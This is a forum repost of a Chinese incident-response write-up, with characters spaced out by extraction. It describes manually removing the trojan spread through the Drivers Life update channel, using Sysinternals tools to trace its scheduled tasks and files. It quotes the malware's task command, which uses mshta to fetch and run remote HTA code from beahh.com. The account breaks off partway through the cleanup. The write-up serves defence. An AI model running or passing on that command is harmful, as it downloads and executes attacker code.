搜索

[14961] 2020-02-01_利用驱动人生升级通道传播的木马手工查杀记

文档创建者：s7ckTeam
浏览次数：1
最后更新：2025-01-18
2020-02-01_利用驱动人生升级通道传播的木马手工查杀记 利 用 驱 动 人 生 升 级 通 道 传 播 的 木 马 手 工 查 杀 记 原 创   x i a o x i n l i n g   F r e e B u f   2 0 2 0 - 0 2 - 0 1 一 、 一 、   背 景 介 绍 背 景 介 绍 驱 动 人 生 木 马 在 驱 动 人 生 木 马 在 1 月 月 2 4 日 的 基 础 上 再 次 更 新 ， 将 攻 击 组 件 安 装 为 计 划 任 务 、 服 务 并 启 动 。 本 次 手 工 查 杀 主 要 针 对 日 的 基 础 上 再 次 更 新 ， 将 攻 击 组 件 安 装 为 计 划 任 务 、 服 务 并 启 动 。 本 次 手 工 查 杀 主 要 针 对 该 木 马 。 该 木 马 。 相 关 文 章 ： h t t p s : / / w w w . f r e e b u f . c o m / c o l u m n / 1 9 5 2 5 0 . h t m l 最 近 在 应 急 过 程 中 ， 某 单 位 电 脑 感 染 了 更 新 后 的 驱 动 人 生 木 马 ， 由 于 客 观 原 因 ， 不 能 安 装 杀 毒 软 件 进 行 查 杀 ， 便 进 行 手 工 杀 毒 ， 整 个 过 程 真 心 感 觉 该 病 毒 具 有 “ 春 风 吹 又 生 ” 的 特 质 ， 于 是 将 查 杀 过 程 记 录 下 来 ， 希 望 能 给 小 伙 伴 们 带 来 帮 助 。 注 ： 文 中 环 境 是 根 据 捕 获 的 样 本 复 现 的 场 景 ， 该 虚 拟 机 处 于 联 网 状 态 。 文 中 使 用 的 工 具 为 ： ( 1 )   T C P V i e w ： 详 细 的 列 出 系 统 所 有 的 T C P , U D P 连 接 ， 包 含 本 地 和 远 程 的 T C P 连 接 ， h t t p s : / / d o c s . m i c r o s o f t . c o m / z h - c n / s y s i n t e r n a l s / d o w n l o a d s / t c p v i e w ( 2 ) A u t o r u n s ： 详 细 的 列 出 系 统 开 机 启 动 项 ， 计 划 任 务 ， 服 务 等 信 息 ， h t t p s : / / d o c s . m i c r o s o f t . c o m / z h - c n / s y s i n t e r n a l s / d o w n l o a d s / a u t o r u n s ( 3 ) P r o c e s s e x p l o r : 详 细 的 列 出 系 统 的 进 程 及 子 进 程 ， h t t p s : / / d o c s . m i c r o s o f t . c o m / z h - c n / s y s i n t e r n a l s / d o w n l o a d s / p r o c e s s - e x p l o r e r 二 、 手 工 查 杀 二 、 手 工 查 杀 2 . 1   分 析 现 象 分 析 现 象 受 害 主 机 ， 主 要 有 以 下 现 象 ： 1 、 开 机 后 自 动 关 机 ：
2 、 具 有 大 量 异 常 外 连 行 为 ， 企 图 连 接 服 务 器 和 感 染 局 域 网 内 其 他 机 器 。 2 . 2 查 杀 病 毒 查 杀 病 毒 1 、 使 用 命 令 ， 关 闭 自 动 关 机 。 2 、 使 用 T C P v i e w   查 看 异 常 进 程 ：
异 常 进 程 的 P I D 为 1 4 6 0 0 ， 在 P r o c e s s   E x p l o r e r 中 找 到 该 P I D 对 应 的 进 程 并 结 束 。 然 而 ， 结 束 该 进 程 后 ， 系 统 继 续 外 连 进 行 传 播 ， 此 时 的 P I D 为 1 1 0 1 1 6 ， 说 明 关 闭 进 程 并 不 能 阻 止 病 毒 的 传 播 活 动 ， 病 毒 文 件 依 然 存 在 ， 关 闭 进 程 后 ， 病 毒 程 序 又 会 重 新 开 启 进 程 ， 因 此 要 找 到 病 毒 文 件 ， 进 行 删 除 。
在 P r o c e s s   E x p l o e r 中 ， 选 择 P I D   1 1 0 1 6 对 应 的 进 程 ， 右 键 属 性 ， 可 看 到 病 毒 的 位 置 为 ： C : W I N D O W S T e m p s v c h o s t . e x e .
关 闭 占 用 病 毒 程 序 的 进 程 ， 进 入 对 应 文 件 夹 ， 尝 试 删 除 病 毒 文 件 ， 显 示 无 法 删 除 ， 说 明 此 时 又 加 载 了 新 的 进 程 ， 因 此 系 统 中 可 能 存 在 相 关 服 务 或 者 计 划 任 务 ， 在 不 断 的 拉 起 程 序 。 使 用 A u t o r u n s 进 行 查 看 ， 在 F i l t e r   中 输 入 “ s v c h o s t . e x e ” 进 行 搜 索 ， 结 果 中 果 然 发 现 了 病 毒 文 件 对 应 的 自 启 动 计 划 任 务 ： 双 击 可 看 到 其 他 计 划 任 务 ：
删 除 该 任 务 后 ， 仍 有 大 量 异 常 连 接 行 为 ， 真 是 打 不 死 的 小 强 ： 结 束 该 进 程 ， 然 后 去 删 除 病 毒 程 序 ， 还 是 无 法 删 除 ， 说 明 还 有 其 他 的 服 务 在 控 制 占 用 s v c h o s t . e x e .
主 机 仍 有 大 量 外 连 行 为 ， 刚 刚 删 除 的 计 划 任 务 又 出 现 了 ， 说 明 有 相 关 服 务 重 新 创 建 了 该 计 划 任 务 ， 但 在 我 们 的 搜 索 中 却 并 未 发 现 与 T e m p 目 录 下 s v c h o s t . e x e 相 关 的 服 务 ：
所 以 将 每 个 计 划 任 务 的 属 性 都 查 看 一 下 ： 运 行 处 的 内 容 为 ： C : W I N D O W S s y s t e m 3 2 c m d . e x e / c   m s h t a h t t p : / / w . b e a h h . c o m / p a g e . h t m l ? p K Q C X S V R 是 病 毒 为 了 创 建 计 划 任 务 执 行 远 程 h t a 代 码 。
删 除 该 计 划 任 务 。 过 了 几 分 钟 后 ， 删 除 的 A u t o c h e c k , A u t o s c a n 又 死 灰 复 燃 了 。 说 明 有 其 他 的 任 务 或 服 务 在 启 动 它 们 ， 我 们 查 看 剩 余 的 计 划 任 务 D d r i v e r ， W e b S e r v e r s ： 运 行 处 的 内 容 为 ：
C : W I N D O W S s y s t e m 3 2 c m d . e x e   / c C : W I N D O W S s y s t e m 3 2 d r i v e r s s v c h o s t . e x e 查 看 另 一 计 划 任 务 ： 运 行 处 的 内 容 为 ： C : W I N D O W S s y s t e m 3 2 c m d . e x e / c   C : W I N D O W S s y s t e m 3 2 w m i e x . e x e 根 据 介 绍 该 木 马 病 毒 的 技 术 文 章 ， W m i e x . e x e 为 异 常 应 用 程 序 。 删 除 该 计 划 任 务 ， 然 后 删 除 w m i e x . e x e , 无 法 删 除 ， 说 明 有 进 程 占 用 。 利 用 P r o c e s s   e x p l o r e r 查 看 ：
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理